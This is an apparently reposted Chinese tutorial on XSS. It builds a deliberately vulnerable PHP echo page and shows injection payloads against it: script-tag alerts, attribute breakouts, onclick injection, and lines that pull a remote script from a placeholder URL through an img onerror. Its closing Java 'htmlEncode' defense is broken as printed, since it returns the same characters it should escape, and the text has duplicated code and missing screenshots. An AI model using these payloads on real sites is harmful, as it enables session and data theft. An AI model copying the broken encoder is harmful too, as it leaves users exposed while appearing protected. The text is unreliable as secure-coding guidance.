1、什么是XSS攻击
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
XSS跨站脚本攻击的基本原理和SQL 注入攻击类似(个人观点),都是利用系统执行了未经过滤的危险代码,不同点在于XSS是一种基于网页脚本的注入方式,也就是将脚本攻击载荷写入网页执行以达到对网页客户端访问用户攻击的目的,属于客户端攻击。而SQL注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句从而操纵数据库,从而进一步探测、操纵数据库信息。属于服务器攻击?(菜鸟看法)。
2、XSS的原理分析
测试:
1>、首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index.php文件里写入如下代码:
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
?>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
?>
2>、然后,你会在页面看到这样的页面
4>、我们在看看源代码
5>、我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入下面的代码会出现什么呢?
<script>alert('xss')</script>
如果按照上面的例子来说,它应该存在第12行的[br]与[/boby]>之间,变成:
<br><script>alert('xss')</script></boby>
之后,应该会弹出对话框。既然假设提出来,那我们来实现下这个假设成不成立吧。我们输入
<script>alert('xss')</script>
6>、得到的页面为
7>、成功弹窗,这个时候基本上就可以确定存在xss漏洞。我们在看看源代码
假设成功了,这就说明XSS的原理。
三、
但是我们的输出点不一在[ br ]和[ /boby ]里,可以出现在html标签的属性里,或者其他标签里面。
比如出现在input的value中
<?php
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" value="输出">';
}
?>
若还如二中那样的话肯定就会把代码当字符串输出了
但如果输入如下代码
"><script>alert('xss')</script>
结果会弹出 xss 而且会
这时可以看到我们构造的代码里面有两个">,第一个">是为了闭合input标签,所以第二个">就被抛弃了,因为html的容错性高,所以并没有像php那样出现错误,而是直接把多余的字符串来输出了。
这种注入甚至可以远程把你写的js脚本引用过来:
<script scr="js_url"></script>
<img src=x οnerrοr=appendChild(createElement('script')).src='js_url' />
之前说的xss代码里,全是带有标签的。难道就不能不带js标签么?!答:当然可以。既然可以不用标签,那我们就用标签里的属性来构造XSS,这样的话,xss代码又少,又不会有多余的字符串被输出来。
比如加入
" οnclick="alert('xss')
input里面就凭空出现了onclick属性,当然还可以是别的属性,如果是Onload我相信就可以干好多事情了(
注意引号位置,以此把两个属性闭合)。
一句话解析就是:xss就是在页面执行你想要的js,而你就要不择手段的利用漏洞去注入你的代码,只要能运行我们的js就OK。
四、解决
完善的过滤体系永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。普通的过滤字符串黑客会利用javascript换行、空格、转译字符突破过滤。
Html encode
StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换
2>、自己实现转换,只转换部分字符
private static String htmlEncode(char c) {
switch(c) {
case '&':
return "&";
case '<':
return "<";
case '>':
return ">";
case '"':
return """;
case ' ':
return " ";
default:
return c + "";
}
}
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
if (str ==null || str.trim().equals("")) return str;
StringBuilder encodeStrBuilder = new StringBuilder();
for (int i = 0, len = str.length(); i < len; i++) {
encodeStrBuilder.append(htmlEncode(str.charAt(i)));
}
return encodeStrBuilder.toString();
}
此文为转载,不对别喷我。